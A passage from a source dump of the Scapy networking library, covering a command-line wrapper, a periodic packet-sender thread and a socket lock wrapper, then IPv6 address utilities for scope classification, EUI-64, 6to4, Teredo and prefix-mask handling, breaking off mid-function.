description=desc,\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n    )\n\n    # Add parameters to parser\n    for parname, paramkwargs in parameters.items():\n        parser.add_argument(parname, **paramkwargs)\n\n    # Now parse the sys.argv parameters\n    params = vars(parser.parse_args())\n\n    # Convert hex parameters if provided\n    for p in hexarguments:\n        if params[p] is not None:\n            try:\n                params[p] = bytes.fromhex(params[p])\n            except ValueError:\n                print(\n                    conf.color_theme.fail(\n                        \"ERROR: the value of parameter %s \"\n                        \"'%s' is not valid hexadecimal !\" % (p, params[p])\n                    )\n                )\n                return None\n\n    # Act as in interactive mode\n    conf.logLevel = 20\n    from scapy.themes import DefaultTheme\n    conf.color_theme = DefaultTheme()\n    # And call the function\n    try:\n        func(\n            *[params.pop(x) for x in positional],\n            **{\n                (k[3:] if k.startswith(\"no_\") else k): v\n                for k, v in params.items()\n            }\n        )\n    except AssertionError as ex:\n        print(conf.color_theme.fail(\"ERROR: \" + str(ex)))\n        parser.print_help()\n    return None\n\n\n#######################\n#   PERIODIC SENDER   #\n#######################\n\n\nclass PeriodicSenderThread(threading.Thread):\n    def __init__(self, sock, pkt, interval=0.5, ignore_exceptions=True):\n        # type: (Any, _PacketIterable, float, bool) -> None\n        \"\"\" Thread to send packets periodically\n\n        Args:\n            sock: socket where packet is sent periodically\n            pkt: packet or list of packets to send\n            interval: interval between two packets\n        \"\"\"\n        if not isinstance(pkt, list):\n            self._pkts = [cast(\"Packet\", pkt)]  # type: _PacketIterable\n        else:\n            self._pkts = pkt\n        self._socket = sock\n        self._stopped = threading.Event()\n        self._enabled = threading.Event()\n        self._enabled.set()\n        self._interval = interval\n        self._ignore_exceptions = ignore_exceptions\n        threading.Thread.__init__(self)\n\n    def enable(self):\n        # type: () -> None\n        self._enabled.set()\n\n    def disable(self):\n        # type: () -> None\n        self._enabled.clear()\n\n    def run(self):\n        # type: () -> None\n        while not self._stopped.is_set() and not self._socket.closed:\n            for p in self._pkts:\n                try:\n                    if self._enabled.is_set():\n                        self._socket.send(p)\n                except (OSError, TimeoutError) as e:\n                    if self._ignore_exceptions:\n                        return\n                    else:\n                        raise e\n                self._stopped.wait(timeout=self._interval)\n                if self._stopped.is_set() or self._socket.closed:\n                    break\n\n    def stop(self):\n        # type: () -> None\n        self._stopped.set()\n        self.join(self._interval * 2)\n\n\nclass SingleConversationSocket(object):\n    def __init__(self, o):\n        # type: (Any) -> None\n        self._inner = o\n        self._tx_mutex = threading.RLock()\n\n    @property\n    def __dict__(self):  # type: ignore\n        return self._inner.__dict__\n\n    def __getattr__(self, name):\n        # type: (str) -> Any\n        return getattr(self._inner, name)\n\n    def sr1(self, *args, **kargs):\n        # type: (*Any, **Any) -> Any\n        with self._tx_mutex:\n            return self._inner.sr1(*args, **kargs)\n\n    def sr(self, *args, **kargs):\n        # type: (*Any, **Any) -> Any\n        with self._tx_mutex:\n            return self._inner.sr(*args, **kargs)\n\n    def send(self, x):\n        # type: (Packet) -> Any\n        with self._tx_mutex:\n            try:\n                return self._inner.send(x)\n            except (ConnectionError, OSError) as e:\n                self._inner.close()\n                raise e\n"
  },
  {
    "path": "scapy/utils6.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>\n#                     Arnaud Ebalard <arnaud.ebalard@eads.net>\n\n\"\"\"\nUtility functions for IPv6.\n\"\"\"\nimport socket\nimport struct\nimport time\n\nfrom scapy.config import conf\nfrom scapy.base_classes import Net\nfrom scapy.data import IPV6_ADDR_GLOBAL, IPV6_ADDR_LINKLOCAL, \\\n    IPV6_ADDR_SITELOCAL, IPV6_ADDR_LOOPBACK, IPV6_ADDR_UNICAST,\\\n    IPV6_ADDR_MULTICAST, IPV6_ADDR_6TO4, IPV6_ADDR_UNSPECIFIED\nfrom scapy.utils import (\n    strxor,\n    stror,\n    strand,\n)\nfrom scapy.compat import orb, chb\nfrom scapy.pton_ntop import inet_pton, inet_ntop\nfrom scapy.volatile import RandMAC, RandBin\nfrom scapy.error import warning, Scapy_Exception\nfrom functools import reduce, cmp_to_key\n\nfrom typing import (\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Union,\n    cast,\n)\n\n\ndef construct_source_candidate_set(\n        addr,  # type: str\n        plen,  # type: int\n        laddr  # type: Iterator[Tuple[str, int, str]]\n):\n    # type: (...) -> List[str]\n    \"\"\"\n    Given all addresses assigned to a specific interface ('laddr' parameter),\n    this function returns the \"candidate set\" associated with 'addr/plen'.\n\n    Basically, the function filters all interface addresses to keep only those\n    that have the same scope as provided prefix.\n\n    This is on this list of addresses that the source selection mechanism\n    will then be performed to select the best source address associated\n    with some specific destination that uses this prefix.\n    \"\"\"\n    def cset_sort(x, y):\n        # type: (str, str) -> int\n        x_global = 0\n        if in6_isgladdr(x):\n            x_global = 1\n        y_global = 0\n        if in6_isgladdr(y):\n            y_global = 1\n        res = y_global - x_global\n        if res != 0 or y_global != 1:\n            return res\n        # two global addresses: if one is native, it wins.\n        if not in6_isaddr6to4(x):\n            return -1\n        return -res\n\n    cset = iter([])  # type: Iterator[Tuple[str, int, str]]\n    if in6_isgladdr(addr) or in6_isuladdr(addr):\n        cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)\n    elif in6_islladdr(addr):\n        cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL)\n    elif in6_issladdr(addr):\n        cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL)\n    elif in6_ismaddr(addr):\n        if in6_ismnladdr(addr):\n            cset = (x for x in [('::1', 16, conf.loopback_name)])\n        elif in6_ismgladdr(addr):\n            cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)\n        elif in6_ismlladdr(addr):\n            cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL)\n        elif in6_ismsladdr(addr):\n            cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL)\n    elif addr == '::' and plen == 0:\n        cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL)\n    elif addr == '::1':\n        cset = (x for x in laddr if x[1] == IPV6_ADDR_LOOPBACK)\n    addrs = [x[0] for x in cset]\n    # TODO convert the cmd use into a key\n    addrs.sort(key=cmp_to_key(cset_sort))  # Sort with global addresses first\n    return addrs\n\n\ndef get_source_addr_from_candidate_set(dst, candidate_set):\n    # type: (str, List[str]) -> str\n    \"\"\"\n    This function implement a limited version of source address selection\n    algorithm defined in section 5 of RFC 3484. The format is very different\n    from that described in the document because it operates on a set\n    of candidate source address for some specific route.\n    \"\"\"\n\n    def scope_cmp(a, b):\n        # type: (str, str) -> int\n        \"\"\"\n        Given two addresses, returns -1, 0 or 1 based on comparison of\n        their scope\n        \"\"\"\n        scope_mapper = {IPV6_ADDR_GLOBAL: 4,\n                        IPV6_ADDR_SITELOCAL: 3,\n                        IPV6_ADDR_LINKLOCAL: 2,\n                        IPV6_ADDR_LOOPBACK: 1}\n        sa = in6_getscope(a)\n        if sa == -1:\n            sa = IPV6_ADDR_LOOPBACK\n        sb = in6_getscope(b)\n        if sb == -1:\n            sb = IPV6_ADDR_LOOPBACK\n\n        sa = scope_mapper[sa]\n        sb = scope_mapper[sb]\n\n        if sa == sb:\n            return 0\n        if sa > sb:\n            return 1\n        return -1\n\n    def rfc3484_cmp(source_a, source_b):\n        # type: (str, str) -> int\n        \"\"\"\n        The function implements a limited version of the rules from Source\n        Address selection algorithm defined section of RFC 3484.\n        \"\"\"\n\n        # Rule 1: Prefer same address\n        if source_a == dst:\n            return 1\n        if source_b == dst:\n            return 1\n\n        # Rule 2: Prefer appropriate scope\n        tmp = scope_cmp(source_a, source_b)\n        if tmp == -1:\n            if scope_cmp(source_a, dst) == -1:\n                return 1\n            else:\n                return -1\n        elif tmp == 1:\n            if scope_cmp(source_b, dst) == -1:\n                return 1\n            else:\n                return -1\n\n        # Rule 3: cannot be easily implemented\n        # Rule 4: cannot be easily implemented\n        # Rule 5: does not make sense here\n        # Rule 6: cannot be implemented\n        # Rule 7: cannot be implemented\n\n        # Rule 8: Longest prefix match\n        tmp1 = in6_get_common_plen(source_a, dst)\n        tmp2 = in6_get_common_plen(source_b, dst)\n        if tmp1 > tmp2:\n            return 1\n        elif tmp2 > tmp1:\n            return -1\n        return 0\n\n    if not candidate_set:\n        # Should not happen\n        return \"\"\n\n    candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True)\n\n    return candidate_set[0]\n\n\n# Think before modify it : for instance, FE::1 does exist and is unicast\n# there are many others like that.\n# TODO : integrate Unique Local Addresses\ndef in6_getAddrType(addr):\n    # type: (str) -> int\n    naddr = inet_pton(socket.AF_INET6, addr)\n    paddr = inet_ntop(socket.AF_INET6, naddr)  # normalize\n    addrType = 0\n    # _Assignable_ Global Unicast Address space\n    # is defined in RFC 3513 as those in 2000::/3\n    if ((orb(naddr[0]) & 0xE0) == 0x20):\n        addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL)\n        if naddr[:2] == b' \\x02':  # Mark 6to4 @\n            addrType |= IPV6_ADDR_6TO4\n    elif orb(naddr[0]) == 0xff:  # multicast\n        addrScope = paddr[3]\n        if addrScope == '2':\n            addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST)\n        elif addrScope == 'e':\n            addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)\n        else:\n            addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST)\n    elif ((orb(naddr[0]) == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)):\n        addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL)\n    elif paddr == \"::1\":\n        addrType = IPV6_ADDR_LOOPBACK\n    elif paddr == \"::\":\n        addrType = IPV6_ADDR_UNSPECIFIED\n    else:\n        # Everything else is global unicast (RFC 3513)\n        # Even old deprecated (RFC3879) Site-Local addresses\n        addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST)\n\n    return addrType\n\n\ndef in6_mactoifaceid(mac, ulbit=None):\n    # type: (str, Optional[int]) -> str\n    \"\"\"\n    Compute the interface ID in modified EUI-64 format associated\n    to the Ethernet address provided as input.\n    value taken by U/L bit in the interface identifier is basically\n    the reversed value of that in given MAC address it can be forced\n    to a specific value by using optional 'ulbit' parameter.\n    \"\"\"\n    if len(mac) != 17:\n        raise ValueError(\"Invalid MAC\")\n    m = \"\".join(mac.split(':'))\n    if len(m) != 12:\n        raise ValueError(\"Invalid MAC\")\n    first = int(m[0:2], 16)\n    if ulbit is None or not (ulbit == 0 or ulbit == 1):\n        ulbit = [1, 0, 0][first & 0x02]\n    ulbit *= 2\n    first_b = \"%.02x\" % ((first & 0xFD) | ulbit)\n    eui64 = first_b + m[2:4] + \":\" + m[4:6] + \"FF:FE\" + m[6:8] + \":\" + m[8:12]\n    return eui64.upper()\n\n\ndef in6_ifaceidtomac(ifaceid_s):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Extract the mac address from provided iface ID. Iface ID is provided\n    in printable format (\"XXXX:XXFF:FEXX:XXXX\", eventually compressed). None\n    is returned on error.\n    \"\"\"\n    try:\n        # Set ifaceid to a binary form\n        ifaceid = inet_pton(socket.AF_INET6, \"::\" + ifaceid_s)[8:16]\n    except Exception:\n        return None\n\n    if ifaceid[3:5] != b'\\xff\\xfe':  # Check for burned-in MAC address\n        return None\n\n    # Unpacking and converting first byte of faceid to MAC address equivalent\n    first = struct.unpack(\"B\", ifaceid[:1])[0]\n    ulbit = 2 * [1, '-', 0][first & 0x02]\n    first = struct.pack(\"B\", ((first & 0xFD) | ulbit))\n    # Split into two vars to remove the \\xff\\xfe bytes\n    oui = first + ifaceid[1:3]\n    end = ifaceid[5:]\n    # Convert and reconstruct into a MAC Address\n    mac_bytes = [\"%.02x\" % orb(x) for x in list(oui + end)]\n    return \":\".join(mac_bytes)\n\n\ndef in6_addrtomac(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Extract the mac address from provided address. None is returned\n    on error.\n    \"\"\"\n    mask = inet_pton(socket.AF_INET6, \"::ffff:ffff:ffff:ffff\")\n    x = in6_and(mask, inet_pton(socket.AF_INET6, addr))\n    ifaceid = inet_ntop(socket.AF_INET6, x)[2:]\n    return in6_ifaceidtomac(ifaceid)\n\n\ndef in6_addrtovendor(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Extract the MAC address from a modified EUI-64 constructed IPv6\n    address provided and use the IANA oui.txt file to get the vendor.\n    The database used for the conversion is the one loaded by Scapy\n    from a Wireshark installation if discovered in a well-known\n    location. None is returned on error, \"UNKNOWN\" if the vendor is\n    unknown.\n    \"\"\"\n    mac = in6_addrtomac(addr)\n    if mac is None or not conf.manufdb:\n        return None\n\n    res = conf.manufdb._get_manuf(mac)\n    if len(res) == 17 and res.count(':') != 5:  # Mac address, i.e. unknown\n        res = \"UNKNOWN\"\n\n    return res\n\n\ndef in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2):\n    # type: (str, Optional[Union[bytes, str, int]], int) -> Optional[str]\n    \"\"\"\n    Generate a Link-Scoped Multicast Address as described in RFC 4489.\n    Returned value is in printable notation.\n\n    'addr' parameter specifies the link-local address to use for generating\n    Link-scoped multicast address IID.\n\n    By default, the function returns a ::/96 prefix (aka last 32 bits of\n    returned address are null). If a group id is provided through 'grpid'\n    parameter, last 32 bits of the address are set to that value (accepted\n    formats : b'\\x12\\x34\\x56\\x78' or '12345678' or 0x12345678 or 305419896).\n\n    By default, generated address scope is Link-Local (2). That value can\n    be modified by passing a specific 'scope' value as an argument of the\n    function. RFC 4489 only authorizes scope values <= 2. Enforcement\n    is performed by the function (None will be returned).\n\n    If no link-local address can be used to generate the Link-Scoped IPv6\n    Multicast address, or if another error occurs, None is returned.\n    \"\"\"\n    if scope not in [0, 1, 2]:\n        return None\n    try:\n        if not in6_islladdr(addr):\n            return None\n        baddr = inet_pton(socket.AF_INET6, addr)\n    except Exception:\n        warning(\"in6_getLinkScopedMcastPrefix(): Invalid address provided\")\n        return None\n\n    iid = baddr[8:]\n\n    if grpid is None:\n        b_grpid = b'\\x00\\x00\\x00\\x00'\n    else:\n        b_grpid = b''\n        # Is either bytes, str or int\n        if isinstance(grpid, (str, bytes)):\n            try:\n                if isinstance(grpid, str) and len(grpid) == 8:\n                    i_grpid = int(grpid, 16) & 0xffffffff\n                elif isinstance(grpid, bytes) and len(grpid) == 4:\n                    i_grpid = struct.unpack(\"!I\", grpid)[0]\n                else:\n                    raise ValueError\n            except Exception:\n                warning(\n                    \"in6_getLinkScopedMcastPrefix(): Invalid group id \"\n                    \"provided\"\n                )\n                return None\n        elif isinstance(grpid, int):\n            i_grpid = grpid\n        else:\n            warning(\n                \"in6_getLinkScopedMcastPrefix(): Invalid group id \"\n                \"provided\"\n            )\n            return None\n        b_grpid = struct.pack(\"!I\", i_grpid)\n\n    flgscope = struct.pack(\"B\", 0xff & ((0x3 << 4) | scope))\n    plen = b'\\xff'\n    res = b'\\x00'\n    a = b'\\xff' + flgscope + res + plen + iid + b_grpid\n\n    return inet_ntop(socket.AF_INET6, a)\n\n\ndef in6_get6to4Prefix(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Returns the /48 6to4 prefix associated with provided IPv4 address\n    On error, None is returned. No check is performed on public/private\n    status of the address\n    \"\"\"\n    try:\n        baddr = inet_pton(socket.AF_INET, addr)\n        return inet_ntop(socket.AF_INET6, b'\\x20\\x02' + baddr + b'\\x00' * 10)\n    except Exception:\n        return None\n\n\ndef in6_6to4ExtractAddr(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Extract IPv4 address embedded in 6to4 address. Passed address must be\n    a 6to4 address. None is returned on error.\n    \"\"\"\n    try:\n        baddr = inet_pton(socket.AF_INET6, addr)\n    except Exception:\n        return None\n    if baddr[:2] != b\" \\x02\":\n        return None\n    return inet_ntop(socket.AF_INET, baddr[2:6])\n\n\ndef in6_getLocalUniquePrefix():\n    # type: () -> str\n    \"\"\"\n    Returns a pseudo-randomly generated Local Unique prefix. Function\n    follows recommendation of Section 3.2.2 of RFC 4193 for prefix\n    generation.\n    \"\"\"\n    # Extracted from RFC 1305 (NTP) :\n    # NTP timestamps are represented as a 64-bit unsigned fixed-point number,\n    # in seconds relative to 0h on 1 January 1900. The integer part is in the\n    # first 32 bits and the fraction part in the last 32 bits.\n\n    # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0)\n    # x = time.time()\n    # from time import gmtime, strftime, gmtime, mktime\n    # delta = mktime(gmtime(0)) - mktime(self.epoch)\n    # x = x-delta\n\n    tod = time.time()  # time of day. Will bother with epoch later\n    i = int(tod)\n    j = int((tod - i) * (2**32))\n    btod = struct.pack(\"!II\", i, j)\n    mac = RandMAC()\n    # construct modified EUI-64 ID\n    eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(str(mac)))[8:]\n    import hashlib\n    globalid = hashlib.sha1(btod + eui64).digest()[:5]\n    return inet_ntop(socket.AF_INET6, b'\\xfd' + globalid + b'\\x00' * 10)\n\n\ndef in6_getRandomizedIfaceId(ifaceid, previous=None):\n    # type: (str, Optional[str]) -> Tuple[str, str]\n    \"\"\"\n    Implements the interface ID generation algorithm described in RFC 3041.\n    The function takes the Modified EUI-64 interface identifier generated\n    as described in RFC 4291 and an optional previous history value (the\n    first element of the output of this function). If no previous interface\n    identifier is provided, a random one is generated. The function returns\n    a tuple containing the randomized interface identifier and the history\n    value (for possible future use). Input and output values are provided in\n    a \"printable\" format as depicted below.\n\n    ex::\n        >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3')\n        ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092')\n        >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3',\n                                     previous='d006:d540:db11:b092')\n        ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e')\n    \"\"\"\n\n    s = b\"\"\n    if previous is None:\n        b_previous = bytes(RandBin(8))\n    else:\n        b_previous = inet_pton(socket.AF_INET6, \"::\" + previous)[8:]\n    s = inet_pton(socket.AF_INET6, \"::\" + ifaceid)[8:] + b_previous\n    import hashlib\n    s = hashlib.md5(s).digest()\n    s1, s2 = s[:8], s[8:]\n    s1 = chb(orb(s1[0]) & (~0x04)) + s1[1:]  # set bit 6 to 0\n    bs1 = inet_ntop(socket.AF_INET6, b\"\\xff\" * 8 + s1)[20:]\n    bs2 = inet_ntop(socket.AF_INET6, b\"\\xff\" * 8 + s2)[20:]\n    return (bs1, bs2)\n\n\n_rfc1924map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E',  # noqa: E501\n               'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',  # noqa: E501\n               'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',  # noqa: E501\n               'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',  # noqa: E501\n               'y', 'z', '!', '#', '$', '%', '&', '(', ')', '*', '+', '-', ';', '<', '=',  # noqa: E501\n               '>', '?', '@', '^', '_', '`', '{', '|', '}', '~']\n\n\ndef in6_ctop(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Convert an IPv6 address in Compact Representation Notation\n    (RFC 1924) to printable representation ;-)\n    Returns None on error.\n    \"\"\"\n    if len(addr) != 20 or not reduce(lambda x, y: x and y,\n                                     [x in _rfc1924map for x in addr]):\n        return None\n    i = 0\n    for c in addr:\n        j = _rfc1924map.index(c)\n        i = 85 * i + j\n    res = []\n    for j in range(4):\n        res.append(struct.pack(\"!I\", i % 2**32))\n        i = i // (2**32)\n    res.reverse()\n    return inet_ntop(socket.AF_INET6, b\"\".join(res))\n\n\ndef in6_ptoc(addr):\n    # type: (str) -> Optional[str]\n    \"\"\"\n    Converts an IPv6 address in printable representation to RFC\n    1924 Compact Representation ;-)\n    Returns None on error.\n    \"\"\"\n    try:\n        d = struct.unpack(\"!IIII\", inet_pton(socket.AF_INET6, addr))\n    except Exception:\n        return None\n    rem = 0\n    m = [2**96, 2**64, 2**32, 1]\n    for i in range(4):\n        rem += d[i] * m[i]\n    res = []  # type: List[str]\n    while rem:\n        res.append(_rfc1924map[rem % 85])\n        rem = rem // 85\n    res.reverse()\n    return \"\".join(res)\n\n\ndef in6_isaddr6to4(x):\n    # type: (str) -> bool\n    \"\"\"\n    Return True if provided address (in printable format) is a 6to4\n    address (being in 2002::/16).\n    \"\"\"\n    bx = inet_pton(socket.AF_INET6, x)\n    return bx[:2] == b' \\x02'\n\n\nconf.teredoPrefix = \"2001::\"  # old one was 3ffe:831f (it is a /32)\nconf.teredoServerPort = 3544\n\n\ndef in6_isaddrTeredo(x):\n    # type: (str) -> bool\n    \"\"\"\n    Return True if provided address is a Teredo, meaning it is under\n    the /32 conf.teredoPrefix prefix value (by default, 2001::).\n    Otherwise, False is returned. Address must be passed in printable\n    format.\n    \"\"\"\n    our = inet_pton(socket.AF_INET6, x)[0:4]\n    teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4]\n    return teredoPrefix == our\n\n\ndef teredoAddrExtractInfo(x):\n    # type: (str) -> Tuple[str, int, str, int]\n    \"\"\"\n    Extract information from a Teredo address. Return value is\n    a 4-tuple made of IPv4 address of Teredo server, flag value (int),\n    mapped address (non obfuscated) and mapped port (non obfuscated).\n    No specific checks are performed on passed address.\n    \"\"\"\n    addr = inet_pton(socket.AF_INET6, x)\n    server = inet_ntop(socket.AF_INET, addr[4:8])\n    flag = struct.unpack(\"!H\", addr[8:10])[0]  # type: int\n    mappedport = struct.unpack(\"!H\", strxor(addr[10:12], b'\\xff' * 2))[0]\n    mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16], b'\\xff' * 4))\n    return server, flag, mappedaddr, mappedport\n\n\ndef in6_iseui64(x):\n    # type: (str) -> bool\n    \"\"\"\n    Return True if provided address has an interface identifier part\n    created in modified EUI-64 format (meaning it matches ``*::*:*ff:fe*:*``).\n    Otherwise, False is returned. Address must be passed in printable\n    format.\n    \"\"\"\n    eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0')\n    bx = in6_and(inet_pton(socket.AF_INET6, x), eui64)\n    return bx == eui64\n\n\ndef in6_isanycast(x):  # RFC 2526\n    # type: (str) -> bool\n    if in6_iseui64(x):\n        s = '::fdff:ffff:ffff:ff80'\n        packed_x = inet_pton(socket.AF_INET6, x)\n        packed_s = inet_pton(socket.AF_INET6, s)\n        x_and_s = in6_and(packed_x, packed_s)\n        return x_and_s == packed_s\n    else:\n        # not EUI-64\n        # |              n bits             |    121-n bits    |   7 bits   |\n        # +---------------------------------+------------------+------------+\n        # |           subnet prefix         | 1111111...111111 | anycast ID |\n        # +---------------------------------+------------------+------------+\n        #                                   |   interface identifier field  |\n        warning('in6_isanycast(): TODO not EUI-64')\n        return False\n\n\ndef in6_or(a1, a2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Provides a bit to bit OR of provided addresses. They must be\n    passed in network format. Return value is also an IPv6 address\n    in network format.\n    \"\"\"\n    return stror(a1, a2)\n\n\ndef in6_and(a1, a2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Provides a bit to bit AND of provided addresses. They must be\n    passed in network format. Return value is also an IPv6 address\n    in network format.\n    \"\"\"\n    return strand(a1, a2)\n\n\ndef in6_xor(a1, a2):\n    # type: (bytes, bytes) -> bytes\n    \"\"\"\n    Provides a bit to bit XOR of provided addresses. They must be\n    passed in network format. Return value is also an IPv6 address\n    in network format.\n    \"\"\"\n    return strxor(a1, a2)\n\n\ndef in6_cidr2mask(m):\n    # type: (int) -> bytes\n    \"\"\"\n    Return the mask (bitstring) associated with provided length\n    value. For instance if function is called on 48, return value is\n    b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'.\n\n    \"\"\"\n    if m > 128 or m < 0:\n        raise Scapy_Exception(\"value provided to in6_cidr2mask outside [0, 128] domain (%d)\" % m)  # noqa: E501\n\n    t = []\n    for i in range(0, 4):\n        t.append(max(0, 2**32 - 2**(32 - min(32, m))))\n        m -= 32\n\n    return b\"\".join(struct.pack('!I', x) for x in t)\n\n\ndef in6_mask2cidr(m):\n    # type: (bytes) -> int\n    \"\"\"\n    Opposite of in6_cidr2mask\n    \"\"\"\n    if len(m) != 16:\n        raise Scapy_Exception(\"value must be 16 octets long\")\n\n    for i in range(0, 4):\n        s = struct.unpack('!I', m[i * 4:(i + 1) * 4])[0]\n        for j in range(32):\n            if not s & (1 << (31 - j)):\n                return i * 32 + j\n    return 128\n\n\ndef in6_getnsma(a):\n    # type: (bytes) -> bytes\n    \"\"\"\n    Return link-local solicited-node multicast address for given\n    address. Passed address must be provided in network format.\n    Returned value is also in network format.\n    \"\"\"\n\n    r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff'))\n    r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r)\n    return r\n\n\ndef in6_getnsmac(a):\n    # type: (bytes) -> str\n    \"\"\"\n    Return the multicast mac address associated with provided\n    IPv6 address. Passed address must be in network format.\n    \"\"\"\n\n    ba = struct.unpack('16B', a)[-4:]\n    mac = '33:33:'\n    mac += ':'.join(\"%.2x\" % x for x in ba)\n    return mac\n\n\ndef in6_getha(prefix):\n    # type: (str) -> str\n    \"\"\"\n    Return the anycast address associated with all home agents on a given\n    subnet.\n    \"\"\"\n    r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64))\n    r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe'))\n    return inet_ntop(socket.AF_INET6, r)\n\n\ndef in6_ptop(str):\n    # type: (str) -> str\n    \"\"\"\n    Normalizes IPv6 addresses provided in printable format, returning the\n    same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1)\n    \"\"\"\n    return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str))\n\n\ndef in6_isincluded(addr, prefix, plen):\n    # type: (str, str, int) -> bool\n    \"\"\"\n    Returns True when 'addr' belongs to prefix/plen. False otherwise.\n    \"\"\"\n    temp = inet_pton(socket.AF_INET6, addr)\n    pref = in6_cidr2mask(plen)\n    zero = inet_pton(socket.AF_INET6, prefix)\n    return zero == in6_and(temp, pref)\n\n\ndef in6_isllsnmaddr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Return True if provided address is a link-local solicited node\n    multicast address, i.e. belongs to ff02::1:ff00:0/104. False is\n    returned otherwise.\n    \"\"\"\n    temp = in6_and(b\"\\xff\" * 13 + b\"\\x00\" * 3, inet_pton(socket.AF_INET6, str))\n    temp2 = b'\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\x00'\n    return temp == temp2\n\n\ndef in6_isdocaddr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    2001:db8::/32 address space reserved for documentation (as defined\n    in RFC 3849).\n    \"\"\"\n    return in6_isincluded(str, '2001:db8::', 32)\n\n\ndef in6_islladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    _allocated_ link-local unicast address space (fe80::/10)\n    \"\"\"\n    return in6_isincluded(str, 'fe80::', 10)\n\n\ndef in6_issladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    _allocated_ site-local address space (fec0::/10). This prefix has\n    been deprecated, address being now reserved by IANA. Function\n    will remain for historic reasons.\n    \"\"\"\n    return in6_isincluded(str, 'fec0::', 10)\n\n\ndef in6_isuladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    Unique local address space (fc00::/7).\n    \"\"\"\n    return in6_isincluded(str, 'fc00::', 7)\n\n# TODO : we should see the status of Unique Local addresses against\n#        global address space.\n#        Up-to-date information is available through RFC 3587.\n#        We should review function behavior based on its content.\n\n\ndef in6_isgladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    _allocated_ global address space (2000::/3). Please note that,\n    Unique Local addresses (FC00::/7) are not part of global address\n    space, and won't match.\n    \"\"\"\n    return in6_isincluded(str, '2000::', 3)\n\n\ndef in6_ismaddr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if provided address in printable format belongs to\n    allocated Multicast address space (ff00::/8).\n    \"\"\"\n    return in6_isincluded(str, 'ff00::', 8)\n\n\ndef in6_ismnladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to node-local multicast address\n    space (ff01::/16) as defined in RFC\n    \"\"\"\n    return in6_isincluded(str, 'ff01::', 16)\n\n\ndef in6_ismgladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to global multicast address\n    space (ff0e::/16).\n    \"\"\"\n    return in6_isincluded(str, 'ff0e::', 16)\n\n\ndef in6_ismlladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to link-local multicast address\n    space (ff02::/16)\n    \"\"\"\n    return in6_isincluded(str, 'ff02::', 16)\n\n\ndef in6_ismsladdr(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address belongs to site-local multicast address\n    space (ff05::/16). Site local address space has been deprecated.\n    Function remains for historic reasons.\n    \"\"\"\n    return 